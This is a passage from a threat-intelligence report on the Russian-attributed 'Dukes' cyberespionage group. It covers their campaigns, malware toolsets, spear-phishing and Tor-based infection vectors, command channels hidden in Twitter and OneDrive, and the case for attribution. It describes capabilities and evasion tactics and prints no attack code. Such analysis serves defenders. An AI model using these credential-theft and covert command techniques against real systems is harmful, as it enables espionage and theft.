The size of the botnet however (about 1400 bots) is very small if its intended use is for commercial DoS attacks or spam-sending.
Alternatively, OnionDuke also steals user credentials from its victims, providing another potential revenue source.
The counter to that argument however is that the value of stolen credentials from users in the countries with the highest percentage of OnionDuke bots (Mongolia and India) are among the lowest on underground markets.
2015: The Dukes up the ante The end of January 2015 saw the start of the most high- volume Duke campaign seen thus far, with thousands of recipients being sent spear-phishing emails that contained links to compromised websites hosting CozyDuke.
Curiously, the spear-phishing emails were strikingly similar to the e-fax themed spam usually seen spreading ransomware and other common crimeware.
Due to the sheer number of recipients, it may not have been possible to customize the emails in the same way as was possible with lower-volume campaigns.
The similarity to common spam may however also serve a more devious purpose.
It is easy to imagine a security analyst, burdened by the amount of attacks against their network, dismissing such common-looking spam as just another crimeware spam run, allowing the campaign to, in essence, hide in the masses [14].
The CozyDuke activity continues one of the long-running trends of the Dukes operations, the use of multiple malware toolsets against a single target.
In this case, the Dukes first attempted to infect large numbers of potential targets with CozyDuke (and in a more obvious manner than previously seen).
They would then use the toolset to gather initial information on the victims, before deciding which ones to pursue further.
For the victims deemed interesting enough, the Dukes would then deploy a different toolset.
We believe the primary purpose of this tactic is an attempt at evading detection in the targeted network.
Even if the noisy initial CozyDuke campaign is noticed by the victim organization, or by someone else who then makes it publicly known, defenders will begin by first looking for indicators of compromise (IOCs) related to the CozyDuke toolset.
If however by that time the Dukes are already operating within the victims network, using an another toolset with different IOCs, then it is reasonable to assume that it will take much longer for the victim organization to notice the infiltration.
In previous cases, the group used their malware toolsets interchangeably, as either the initial or a later-stage toolset in a campaign.
For these CozyDuke campaigns however, the Dukes appear to have employed two particular later-stage toolsets, SeaDuke and HammerDuke, that were purposely designed to leave a persistent backdoor on the compromised network.
HammerDuke is a set of backdoors that was first seen in the wild in February 2015, while SeaDuke is a cross- platform backdoor that was, according to Symantec, first spotted in the wild in October 2014 [15].
Both toolsets were originally spotted being deployed by CozyDuke to its victims.
What makes SeaDuke special is that it was written in Python and designed to work on both Windows and Linux systems it is the first cross-platform tool we have seen from the Dukes.
One plausible reason for developing such a flexible malware might be that the group were increasingly encountering victim environments where users were using Linux as their desktop operating system.
Meanwhile, HammerDuke is a Windows-only malware (written in .NET) and comes in two variants.
The simpler one will connect to a hardcoded CC server over HTTP or HTTPS to download commands to execute.
The more advanced variant, on the other hand, will use an algorithm to generate a periodically-changing Twitter account name and will then attempt to find tweets from that 457417192321 Over 7 years of Russian cyberespionage THE DUKES 13 457417192321 284 21 MONGOLIA 326 23INDIA 260 19 OTHER 235 17 UNKNOWN 100 7 PAKISTAN 64 5 ALGERIA 58 4 MOROCCO 62 4 EGYPT, 43 TURKEY, 38 USA, 39 INDONESIA, 34 SAUDI ARABIA, 25 BRAZIL, 22 PHILIPPINES, 16 SRI LANKA, 15 BANGLADESH, 14 NEPAL, 13 CAMBODIA, 13 CHINA, 12 3 EACH 2 EACH 1 EACH IMAGE 8: GEOGRAPHICAL DISTRIBUTION OF ONIONDUKE BOTNET TOTAL: 1389 ONIONDUKE DROPPER ONIONDUKE CORE COMPONENT ONIONDUKE DROPPER ONIONDUKE CORE COMPONENT ONIONDUKE CORE COMPONENT Drops Drops Drops Original binary Original binary Original binary Executes MALICIOUS TOR EXIT NODE VICTIM Request ResponseWrapped binary IMAGE 7: FLOWCHART OF HOW ONIONDUKE USES MALICIOUS TOR NODE TO INFECT VICTIMS THE DUKES Over 7 years of Russian cyberespionage 14 account containing links to the actual download location of the commands to execute.
In this way, the advanced HammerDuke variant attempts to hide its network traffic in more legitimate use of Twitter.
This method is not unique to HammerDuke, as MiniDuke, OnionDuke, and CozyDuke all support similar use of Twitter (image 9, above) to retrieve links to additional payloads or commands.
2015: CloudDuke In the beginning of July 2015, the Dukes embarked on yet another large-scale phishing campaign.
The malware toolset used for this campaign was the previously unseen CloudDuke and we believe that the July campaign marks the first time that this toolset was deployed by the Dukes, other than possible small-scale testing.
The CloudDuke toolset consists of at least a loader, a downloader, and two backdoor variants.
Both backdoors (internally referred to by their authors as BastionSolution and OneDriveSolution) essentially allow the operator to remotely execute commands on the compromised machine.
The way in which each backdoor does so however is significantly different.
While the BastionSolution variant simply retrieves commands from a hard-coded CC server controlled by the Dukes, the OneDriveSolution utilizes Microsofts OneDrive cloud storage service for communicating with its masters, making it significantly harder for defenders to notice the traffic and block the communication channel.
What is most significant about the July 2015 CloudDuke campaign is the timeline.
The campaign appeared to consist of two distinct waves of spear-phishing, one during the first days of July and the other starting from the 20th of the month.
Details of the first wave, including a thorough technical analysis of CloudDuke, was published by Palo Alto Networks on 14th July [16].
This was followed by additional details from Kaspersky in a blog post published on 16th July [17].
Both publications happened before the second wave took place and received notable publicity.
Despite the attention and public exposure of the toolsets technical details (including IOCs) to defenders, the Dukes still continued with their second wave of spear-phishing, including the continued use of CloudDuke.
The group did change the contents of the spear-phishing emails they sent, but they didnt switch to a new email format instead, they reverted to the same efax-themed format that they had previously employed, even to the point of reusing the exact same decoy document that they had used in the CozyDuke campaign a year earlier (July 2014).
This once more highlights two crucial behavioral elements of the Dukes group.
Firstly, as with the MiniDuke campaigns of February 2013 and CosmicDuke campaigns in the summer of 2014, again the group clearly prioritized the continuation of their operations over maintaining stealth.
Secondly, it underlines their boldness, arrogance and self-confidence they are clearly confident in both their ability to compromise their targets even when their tools and techniques are already publicly known, and critically, they appear to be extremely confident in their ability to act with impunity.
2015: Continuing surgical strikes with CosmicDuke In addition to the notably overt and large-scale campaigns with CozyDuke and CloudDuke, the Dukes also continued to engage in more covert, surgical campaigns using CosmicDuke.
The latest of these campaigns that we are aware of occurred during the spring and early summer of 2015.
As their infection vectors, these campaigns used malicious documents exploiting recently fixed vulnerabilities.
Two of these campaigns were detailed in separate blog posts by the Polish security company Prevenity, who said that both campaigns targeted Polish entities with spear- phishing emails containing malicious attachments with relevant Polish language names [18] [19].
A third, similar, CosmicDuke campaign was observed presumably targeting Georgian entities since it used an attachment with a Georgian-language name that translates to NATO consolidates control of the Black Sea.docx.
Based on this, we do not believe that the Dukes are replacing their covert and targeted campaigns with the overt and opportunistic CozyDuke and CloudDuke style of campaigns.
Instead, we believe that they are simply expanding their activities by adding new tools and techniques.
IMAGE 9: ONIONDUKE CC TWEET Screenshot of a tweet intended for OnionDuke, with a link pointing to an image file that embeds an updated version of OnionDuke Over 7 years of Russian cyberespionage THE DUKES 15 2008 2009 2010 2011 2012 2013 2014 2015 PinchDuke GeminiDuke CosmicDuke MiniDuke Loader Backdoor CozyDuke OnionDuke SeaDuke HammerDuke CloudDuke IMAGE 10: TIMELINE OF KNOWN ACTIVITY FOR THE VARIOUS DUKE TOOLKITS 2007 TOOLKITS YEAR First known activity Most recent known activity LEGEND 16 THE DUKES  Over 7 years of Russian cyberespionage As a curiosity, most PinchDuke samples contain a Russian language error message:  4 Which roughly translates to: There is an error in the modules name The length of the data section name must be 4 bytes First known activity: November 2008 Most recent known activity: Summer 2010 Other names: N/A CC communication methods: HTTP (S) Known toolset components:  Multiple loaders Information stealer The PinchDuke toolset consists of multiple loaders and a core information stealer trojan.
The loaders associated with the PinchDuke toolset have also been observed being used with CosmicDuke.
The PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a CC server.
We believe PinchDukes credential stealing functionality is based on the source code of the Pinch credential stealing malware (also known as LdPinch) that was developed in the early 2000s and has later been openly distributed on underground forums.
Credentials targeted by PinchDuke include ones associated with the following software or services: The Bat Yahoo Mail.ru Passport.
Net Google Talk Netscape Navigator Mozilla Firefox Mozilla Thunderbird Internet Explorer Microsoft Outlook WinInet Credential Cache Lightweight Directory Access Protocol (LDAP) PinchDuke will also search for files that have been created within a predefined timeframe and whose file extension is present in a predefined list.
TOOLS AND TECHNIQUES OF THE DUKES PINCHDUKE 17 Over 7 years of Russian cyberespionage THE DUKES First known activity: January 2009 Most recent known activity: December 2012 Other names: N/A CC communication methods: HTTP (S) Known toolset components:  Loader Information stealer Multiple persistence components The GeminiDuke toolset consists of a core information stealer, a loader and multiple persistence-related components.
Unlike CosmicDuke and PinchDuke, GeminiDuke primarily collects information on the victim computers configuration.
The collected details include: Local user accounts Network settings Internet proxy settings Installed drivers Running processes Programs previously executed by users Programs and services configured to automatically run at startup Values of environment variables Files and folders present in any users home folder Files and folders present in any users My Documents Programs installed to the Program Files folder Recently accessed files, folders and programs As is common for malware, the GeminiDuke infostealer uses a mutex to ensure that only one instance of itself is running at a time.
What is less common is that the name used for the mutex is often a timestamp.
We believe these timestamps to be generated during the compilation of GeminiDuke from the local time of the computer being used.
Comparing the GeminiDuke compilation timestamps, which always reference the time in the UTC0 timezone, with the local time timestamps used as mutex names, and adjusting for the presumed timezone difference, we note that all of the mutex names reference a time and date that is within seconds of the respective samples compilation timestamp.
Additionally, the apparent timezone of the timestamps in all of the GeminiDuke samples compiled during the winter is UTC3, while for samples compiled during the summer, it is UTC4.
The observed timezones correspond to the pre-2011 definition of Moscow Standard Time (MSK) [20], which was UTC3 during the winter and UTC4 during the summer.
In 2011 MSK stopped following Daylight Saving Time (DST) and was set to UTC4 year-round, then reset to UTC 3 year-round in 2014.
Some of the observed GeminiDuke samples that used timestamps as mutex names were compiled while MSK still respected DST and for these samples, the timestamps perfectly align with MSK as it was defined at the time.
However, GeminiDuke samples compiled after MSK was altered still vary the timezone between UTC3 in the winter and UTC4 during the summer.
While computers using Microsoft Windows automatically adjust for DST, changes in timezone definitions require that an update to Windows be installed.
We therefore believe that the Dukes group simply failed to update the computer they were using to compile GeminiDuke samples, so that the timestamps seen in later samples still appear to follow the old definition of Moscow Standard Time.
The GeminiDuke infostealer has occasionally been wrapped with a loader that appears to be unique to GeminiDuke and has never been observed being used with any of the other Duke toolsets.
GeminiDuke also occasionally embeds additional executables that attempt to achieve persistence on the victim computer.
These persistence components appear to be uniquely customized for use with GeminiDuke, but they use many of the same techniques as CosmicDuke persistence components.
Map of timezones in Russia  Eric Muller [23] Pink: MSK (UTC 3)  Orange: UTC 4 Moscow GEMINIDUKE 18 THE DUKES  Over 7 years of Russian cyberespionage First known activity: January 2010 Most recent known activity: Summer 2015 Other names: Tinybaron, BotgenStudios, NemesisGemina CC communication methods: HTTP (S), FTP, WebDav Known toolset components:  Information stealer Multiple loaders Privilege escalation component Multiple persistence components The CosmicDuke toolset is designed around a main information stealer component.
This information stealer is augmented by a variety of components that the toolset operators may selectively include with the main component to provide additional functionalities, such as multiple methods of establishing persistence, as well as modules that attempt to exploit privilege escalation vulnerabilities in order to execute CosmicDuke with higher privileges.
CosmicDukes information stealing functionality includes: Keylogging Taking screenshots Stealing clipboard contents Stealing user files with file extensions that match a predefined list Exporting the users cryptographic certificates including private keys Collecting user credentials, including passwords, for a variety of popular chat and email programs as well as from web browsers CosmicDuke may use HTTP, HTTPS, FTP or WebDav to exfiltrate the collected data to a hardcoded CC server.
While we believe CosmicDuke to be an entirely custom- written toolset with no direct sharing of code with other Duke toolsets, the high-level ways in which many of its features have been implemented appear to be shared with other members of the Duke arsenal.
Specifically, the techniques CosmicDuke uses to extract user credentials from targeted software and to detect the presence of analysis tools appear to be based on the techniques used by PinchDuke.
Likewise, many of CosmicDukes persistence components use techniques also used by components associated with GeminiDuke and CozyDuke.
In all of these cases, the techniques are the same, but the code itself has been altered to work with the toolset in question, leading to small differences in the final implementation.
A few of the CosmicDuke samples we discovered also included components that attempt to exploit either of the publicly known CVE-2010-0232 or CVE-2010- 4398 privilege escalation vulnerabilities.
In the case of CVE-2010-0232, the exploit appears to be based directly on the proof of concept code published by security researcher Tavis Ormandy when he disclosed the vulnerability [4].
We believe that the exploit for CVE- 2010-4398 was also based on a publicly available proof of concept [21].
In addition to often embedding persistence or privilege escalation components, CosmicDuke has occasionally embedded PinchDuke, GeminiDuke, or MiniDuke components.
It should be noted that CosmicDuke does not interoperate with the second, embedded malware in any way other than by writing the malware to disk and executing it.
After that, CosmicDuke and the second malware operate entirely independently of each other, including separately contacting their CC servers.
Sometimes, both malware have used the same CC server, but in other cases, even the servers have been different.
Finally, it is worth noting that while most of the compilation timestamps for CosmicDuke samples appear to be authentic, we are aware of a few cases of them being forged.
One such case was detailed on page 10 as an apparent evasion attempt.
Another is a loader variant seen during the spring of 2010 in conjunction with both CosmicDuke and PinchDuke.
These loader samples all had compilation timestamps purporting to be from the 24th or the 25th of September, 2001.
However, many of these loader samples embed CosmicDuke variants that exploit the CVE-2010- 0232 privilege escalation vulnerability thus making it impossible for the compilation timestamps to be authentic.
Further reading 1.
Timo Hirvonen F-Secure Labs CosmicDuke: Cosmu with a Twist of MiniDuke published 2 July 2014 https://www.f-secure.com/ documents/996508/1030745/cosmicduke_ whitepaper.pdf 2.
GReAT Securelist Miniduke is back: Nemesis Gemina and the Botgen Studio published 3 July 2014 https://securelist.com/blog/ incidents/64107/miniduke-is-back-nemesis- gemina-and-the-botgen-studio/ COSMICDUKE https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf https://securelist.com/blog/incidents/64107/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/ https://securelist.com/blog/incidents/64107/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/ https://securelist.com/blog/incidents/64107/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/ 19 Over 7 years of Russian cyberespionage THE DUKES First known activity:  Loader         July 2010 Backdoor    May 2011 Most recent known activity:  Loader           Spring 2015 Backdoor     Summer 2014 Other names: N/A CC communication methods: HTTP (S), Twitter Known toolset components:  Downloader Backdoor Loader The MiniDuke toolset consists of multiple downloader and backdoor components, which are commonly referred to as the MiniDuke stage 1, stage 2, and stage 3 components as per Kasperskys original MiniDuke whitepaper.
Additionally, a specific loader is often associated with the MiniDuke toolset and is referred to as the MiniDuke loader.
While the loader has often been used together with other MiniDuke components, it has also commonly been used in conjunction with CosmicDuke and PinchDuke.
In fact, the oldest samples of the loader that we have found were used with PinchDuke.
To avoid confusion however, we have decided to continue referring to the loader as the MiniDuke loader.
Two details about MiniDuke components are worth noting.
Firstly, some of the MiniDuke components were written in Assembly language.
While many malware were written in Assembly during the old days of curiosity-driven virus writing, it has since become a rarity.
Secondly, some of the MiniDuke components do not contain a hardcoded CC server address, but instead obtain the address of a current CC server via Twitter.
The use of Twitter either to initially obtain the address of a CC server (or as a backup if no hardcoded primary CC server responds) is a feature also found in OnionDuke, CozyDuke, and HammerDuke.
Further reading 1.
Costin Raiu, Igor Soumenkov, Kurt Baumgartner, Vitaly Kamluk Kaspersky Lab The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor published 27 February 2013 http:// kasperskycontenthub.com/wp-content/ uploads/sites/43/vlpdfs/themysteryofthepdf0- dayassemblermicrobackdoor.pdf 2.
CrySyS Blog Miniduke published 27 February 2013 http://blog.crysys.hu/2013/02/miniduke/ 3.
Marius Tivadar, Br Balzs, Cristian Istrate BitDefender A Closer Look at MiniDuke published April 2013  http://labs.bitdefender.
com/wp-content/uploads/downloads/2013/04/ MiniDuke_Paper_Final.pdf 4.
CIRCL - Computer Incident Response Center Luxembourg Analysis Report (TLP:WHITE) Analysis of a stage 3 Miniduke sample published 30 May 2013 https://www.circl.lu/files/tr-14/ circl-analysisreport-miniduke-stage3-public.pdf 5.
ESET WeLiveSecurity blog Miniduke still duking it out published 20 May 2014 http://www.
welivesecurity.com/2014/05/20/miniduke-still- duking/ MINIDUKE http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://labs.bitdefender.com/wp-content/uploads/downloads/2013/04/MiniDuke_Paper_Final.pdf http://labs.bitdefender.com/wp-content/uploads/downloads/2013/04/MiniDuke_Paper_Final.pdf http://labs.bitdefender.com/wp-content/uploads/downloads/2013/04/MiniDuke_Paper_Final.pdf https://www.circl.lu/files/tr-14/circl-analysisreport-miniduke-stage3-public.pdf https://www.circl.lu/files/tr-14/circl-analysisreport-miniduke-stage3-public.pdf http://www.welivesecurity.com/2014/05/20/miniduke-still-duking/ http://www.welivesecurity.com/2014/05/20/miniduke-still-duking/ http://www.welivesecurity.com/2014/05/20/miniduke-still-duking/ 20 THE DUKES  Over 7 years of Russian cyberespionage First known activity: January 2010 Most recent known activity: Spring 2015 Other names: CozyBear, CozyCar, Cozer, EuroAPT CC communication methods: HTTP (S), Twitter (backup) Known toolset components:  Dropper Modular backdoor Multiple persistence components Information gathering module Screenshot module Password stealing module Password hash stealing module CozyDuke is not simply a malware toolset rather, it is a modular malware platform formed around a core backdoor component.
This component can be instructed by the CC server to download and execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array of functionality.
Known CozyDuke modules include: Command execution module for executing arbitrary Windows Command Prompt commands Password stealer module NT LAN Manager (NTLM) hash stealer module System information gathering module Screenshot module In addition to modules, CozyDuke can also be instructed to download and execute other, independent executables.
In some observed cases, these executables were self-extracting archive files containing common hacking tools, such as PSExec and Mimikatz, combined with script files that execute these tools.
In other cases, CozyDuke has been observed downloading and executing tools from other toolsets used by the Dukes such as OnionDuke, SeaDuke, and HammerDuke.
EXAMPLES OF COZYDUKE PDB STRINGS E:\Visual Studio 2010\Projects\Agent_NextGen\Agent2011v3\Agent2011\Agent\tasks\bin\ GetPasswords\exe\GetPasswords.pdb D:\Projects\Agent2011\Agent2011\Agent\tasks\bin\systeminfo\exe\systeminfo.pdb \\192.168.56.101\true\soft\Agent\tasks\Screenshots\agent_screeshots\Release\agent_ screeshots.pdb Further reading 1.
Artturi Lehtio F-Secure Labs CozyDuke published 22 April 2015 https://www.f-secure.
com/documents/996508/ 1030745/CozyDuke (PDF) 2.
Kurt Baumgartner, Costin Raiu Securelist The CozyDuke APT 21 April 2015 https://securelist.
com/blog/research/69731/the-cozyduke-apt/ COZYDUKE https://www.f-secure.com/documents/996508/ 1030745/CozyDuke https://www.f-secure.com/documents/996508/ 1030745/CozyDuke https://securelist.com/blog/research/69731/the-cozyduke-apt/ https://securelist.com/blog/research/69731/the-cozyduke-apt/ 21 Over 7 years of Russian cyberespionage THE DUKES First known activity: February 2013 Most recent known activity: Spring 2015 Other names: N/A CC communication methods: HTTP (S), Twitter (backup) Known toolset components:  Dropper Loader Multiple modular core components Information stealer Distributed Denial of Service (DDoS) module Password stealing module Information gathering module Social network spamming module The OnionDuke toolset includes at least a dropper, a loader, an information stealer trojan and multiple modular variants with associated modules.
OnionDuke first caught our attention because it was being spread via a malicious Tor exit node.
The Tor node would intercept any unencrypted executable files being downloaded and modify those executables by adding a malicious wrapper contained an embedded OnionDuke.
Once the victim finished downloading the file and executed it, the wrapper would infect the victims computer with OnionDuke before executing the original legitimate executable.
The same wrapper has also been used to wrap legitimate executable files, which were then made available for users to download from torrent sites.
Again, if a victim downloaded a torrent containing a wrapped executable, they would get infected with OnionDuke.
Finally, we have also observed victims being infected with OnionDuke after they were already infected with CozyDuke.
In these cases, CozyDuke was instructed by its CC server to download and execute OnionDuke toolset.
Further reading 1.
Artturi Lehtio F-Secure Weblog OnionDuke: APT Attacks Via the Tor Network published 14 November 2014 https://www.f-secure.com/ weblog/archives/00002764.html ONIONDUKE https://www.f-secure.com/weblog/archives/00002764.html https://www.f-secure.com/weblog/archives/00002764.html 22 THE DUKES  Over 7 years of Russian cyberespionage First known activity: October 2014 Most recent known activity: Spring 2015 Other names: SeaDaddy, SeaDask CC communication methods:  HTTP (S) Known toolset components:  Backdoor SeaDuke is a simple backdoor that focuses on executing commands retrieved from its CC server, such as uploading and downloading files, executing system commands and evaluating additional Python code.
SeaDuke is made interesting by the fact that it is written in Python and designed to be cross-platform so that it works on both Windows and Linux.
The only known infection vector for SeaDuke is via an existing CozyDuke infection, wherein CozyDuke downloads and executes the SeaDuke  toolset.
Like HammerDuke, SeaDuke appears to be used by the Dukes group primarily as a secondary backdoor left on CozyDuke victims after that toolset has completed the initial infection and stolen any readily available information from them.
Further reading 1.
Symantec Security Response Forkmeiamfamous: Seaduke, latest weapon in the Duke armory published 13 July 2015 http://www.symantec.com/connect/blogs/ forkmeiamfamous-seaduke-latest-weapon- duke-armory 2.
Josh Grunzweig Palo Alto Networks Unit 42 Technical Analysis: Seaduke published 14 July 2015 http://researchcenter.paloaltonetworks.
com/2015/07/unit-42-technical-analysis- seaduke/ 3.
Artturi Lehtio F-Secure Weblog Duke APT groups latest tools: cloud services and Linux support published 22 July 2015 https://www.f- secure.com/weblog/archives/00002822.html EXAMPLE OF CROSS-PLATFORM SUPPORT FOUND IN SEADUKES SOURCE CODE SEADUKE http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ https://www.f-secure.com/weblog/archives/00002822.htm https://www.f-secure.com/weblog/archives/00002822.htm 23 Over 7 years of Russian cyberespionage THE DUKES First known activity: January 2015 Most recent known activity: Summer 2015 Other names: HAMMERTOSS, Netduke CC communication methods:  HTTP (S), Twitter Known toolset components:  Backdoor HammerDuke is a simple backdoor that is apparently designed for similar use cases as SeaDuke.
Specifically, the only known infection vector for HammerDuke is to be downloaded and executed by CozyDuke onto a victim that has already been compromised by that toolset.
This, together with HammerDukes simplistic backdoor functionality, suggests that it is primarily used by the Dukes group as a secondary backdoor left on CozyDuke victims after CozyDuke performed the initial infection and stole any readily available information from them.
HammerDuke is however interesting because it is written in .NET, and even more so because of its occasional use of Twitter as a CC communication channel.
Some HammerDuke variants only contain a hardcoded CC server address from which they will retrieve commands, but other HammerDuke variants will first use a custom algorithm to generate a Twitter account name based on the current date.
If the account exists, HammerDuke will then search for tweets from that account with links to image files that contain embedded commands for the toolset to execute.
HammerDukes use of Twitter and crafted image files is reminiscent of other Duke toolsets.
Both OnionDuke and MiniDuke also use date-based algorithms to generate Twitter account names and then searched for any tweets from those accounts that linked to image files.
In contrast however, for OnionDuke and MiniDuke the linked image files contain embedded malware to be downloaded and executed, rather than instructions.
Similarly, GeminiDuke may also download image files, but these would contain embedded additional configuration information for the toolset itself.
Unlike HammerDuke however, the URLs for the images downloaded by GeminiDuke are hardcoded in its initial configuration, rather than retrieved from Twitter.
Further reading 1.
FireEye HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group published July 2015 https://www2.fireeye.com/rs/848-DID-242/ images/rpt-apt29-hammertoss.pdf APT29 is the name used by FireEye to identify the cyberespionagegroup we refer to as the Dukes.
HAMMERDUKE https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf 24 THE DUKES  Over 7 years of Russian cyberespionage First known activity: June 2015 Most recent known activity: Summer 2015 Other names: MiniDionis, CloudLook CC communication methods: HTTP (S), Microsoft OneDrive Known toolset components:  Downloader Loader Two backdoor variants CloudDuke is a malware toolset known to consist of, at least, a downloader, a loader and two backdoor variants.
The CloudDuke downloader will download and execute additional malware from a preconfigured location.
Interestingly, that location may be either a web address or a Microsoft OneDrive account.
Both CloudDuke backdoor variants support simple backdoor functionality, similar to SeaDuke.
While one variant will use a preconfigured CC server over HTTP or HTTPS, the other variant will use a Microsoft OneDrive account to exchange commands and stolen data with its operators.
Further reading 1.
Artturi Lehtio F-Secure Weblog Duke APT groups latest tools: cloud services and Linux support published 22 July 2015 https://www.f-secure.
com/weblog/archives/00002822.html 2.
Brandon Levene, Robert Falcone and Richard Wartell Palo Alto Networks Tracking MiniDionis: CozyCars New Ride Is Related to Seaduke published 14 July 2015 http://researchcenter.
paloaltonetworks.com/2015/07/tracking- minidionis-cozycars-new-ride-is-related-to- seaduke/ 3.
Segey Lozhkin Securelist Minidionis  one more APT with a usage of cloud drives published 16 July 2015 https://securelist.com/blog/ research/71443/minidionis-one-more-apt-with- a-usage-of-cloud-drives/ CLOUDDUKE https://www.f-secure.com/weblog/archives/00002822.html https://www.f-secure.com/weblog/archives/00002822.html http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ Over 7 years of Russian cyberespionage THE DUKES 25 INFECTION VECTORS The Dukes primarily use spear-phishing emails when attempting to infect victims with their malware.
These spear-phishing emails range from ones purposely designed to look like spam messages used to spread common crimeware and addressed to large numbers of people, to highly targeted emails addressed to only a few recipients (or even just one person) and with content that is highly relevant for the intended recipient(s).
In some cases, the Dukes appear to have used previously compromised victims to send new spear-phishing emails to other targets.
The spear-phishing emails used by the Dukes may contain either specially-crafted malicious attachments or links to URLs hosting the malware.
When malicious attachments are used, they may either be designed to exploit a vulnerability in a popular software assumed to be installed on the victims machine, such as Microsoft Word or Adobe Reader, or the attachment itself may have its icon and filename obfuscated in such a way that the file does not appear to be an executable.
The only instances which we are aware of where the Dukes did not use spear-phishing as the initial infection vector is with certain OnionDuke variants.
These were instead spread using either a malicious Tor node that would trojanize legitimate applications on-the-fly with the OnionDuke toolset, or via torrent files containing previously trojanized versions of legitimate applications.
Finally, it is worth noting that the Dukes are known to sometimes re-infect a victim of one of their malware tools with another one of their tools.
Examples include CozyDuke infecting its victims with SeaDuke, HammerDuke,or OnionDuke and CosmicDuke infecting its victims with PinchDuke,GeminiDuke or MiniDuke.
DECOYS The Dukes commonly employ decoys with their infection vectors.
These decoys may be image files, document files, Adobe Flash videos or similar that are presented to the victim during the infection process in an attempt to distract them from the malicious activity.
The contents of these decoys range from non-targeted material such as videos of television commercials showing monkeys at an office, to highly targeted documents with content directly relevant to the intended recipient such as reports, invitations, or lists of participants to an event.
Usually, the contents of the decoys appear to be taken from public sources, either by copying publicly accessible material such as a news report or by simply repurposing a legitimate file that has been openly distributed.
In some cases however, highly targeted decoys have been observed using content that does not appear to be publicly available, suggesting that these contents may have been stolen from other victims that had been infected by Duke toolsets.
EXPLOITATION OF VULNERABILITIES The Dukes have employed exploits both in their infection vectors as well as in their malware.
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit.
In all known cases where exploits were employed, we believe the Dukes did not themselves discover the vulnerabilities or design the original exploits for the exploited zero-day, we believe the Dukes purchased the exploit.
In all other cases, we believe the group simply repurposed publicly available exploits or proofs of concept.
26 THE DUKES  Over 7 years of Russian cyberespionage ATTRIBUTION AND STATE-SPONSORSHIP The Dukes appear to prioritize the continuation of their operations over stealth.
Their 2015 CozyDuke and CloudDuke campaigns take this to the extreme by apparently opting for speed and quantity over stealth and quality.
In the most extreme case, the Dukes continued with their July 2015 CloudDuke campaign even after their activity had been outed by multiple security vendors.
We therefore believe the Dukes primary mission to be so valuable to their benefactors that its continuation outweighs everything else.
This apparent disregard for publicity suggests, in our opinion, that the benefactors of the Dukes is so powerful and so tightly connected to the group that the Dukes are able to operate with no apparent fear of repercussions on getting caught.
We believe the only benefactor with the power to offer such comprehensive protection would be the government of the nation from which the group operates.
We therefore believe the Dukes to work either within or directly for a government, thus ruling out the possibility of a criminal gang or another third party.
This leaves us with the final question: which country?
We are unable to conclusively prove responsibility of any specific country for the Dukes.
All of the available evidence however does in our opinion suggest that the group operates on behalf of the Russian Federation.
Further, we are currently unaware of any evidence disproving this theory.
Kaspersky Labs has previously noted the presence of Russian-language artefacts in some of the Duke malware samples [9].
We have also found a Russian-language error message in many PinchDuke samples:  4  This roughly translates as, There is an error in the modules name The length of the data section name must be 4 bytes Additionally, Kaspersky noted that based on the compilation timestamps, the authors of the Duke malware appear to primarily work from Monday to Friday between the times of 6am and 4pm UTC0 [11].
This corresponds to working hours between 9am and 7pm in the UTC3 time zone, also known as Moscow Standard Time, which covers, among others, much of western Russia, including Moscow and St. Petersburg.
Attribution is always a difficult question, but attempting to answer it is important in understanding these types of threats and how to defend against them.
This paper has already stated that we believe the Dukes to be a Russian state-sponsored cyberespionage operation.
To reach this conclusion, we began by analyzing the apparent objectives and motivations of the group.
Based on what we currently know about the targets chosen by the Dukes over the past 7 years, they appear to have consistently targeted entities that deal with foreign policy and security policy matters.
These targets have included organizations such as ministries of foreign affairs, embassies, senates, parliaments, ministries of defense, defense contractors, and think tanks.
In one of their more intriguing cases, the Dukes have appeared to also target entities involved in the trafficking of illegal drugs.
Even such targets however appear to be consistent with the overarching theme, given the drug trades relevance to security policy.
Based on this, we are confident in our conclusion that the Dukes primary mission is the collection of intelligence to support foreign and security policy decision-making.
This naturally leads to the question of state-sponsorship.
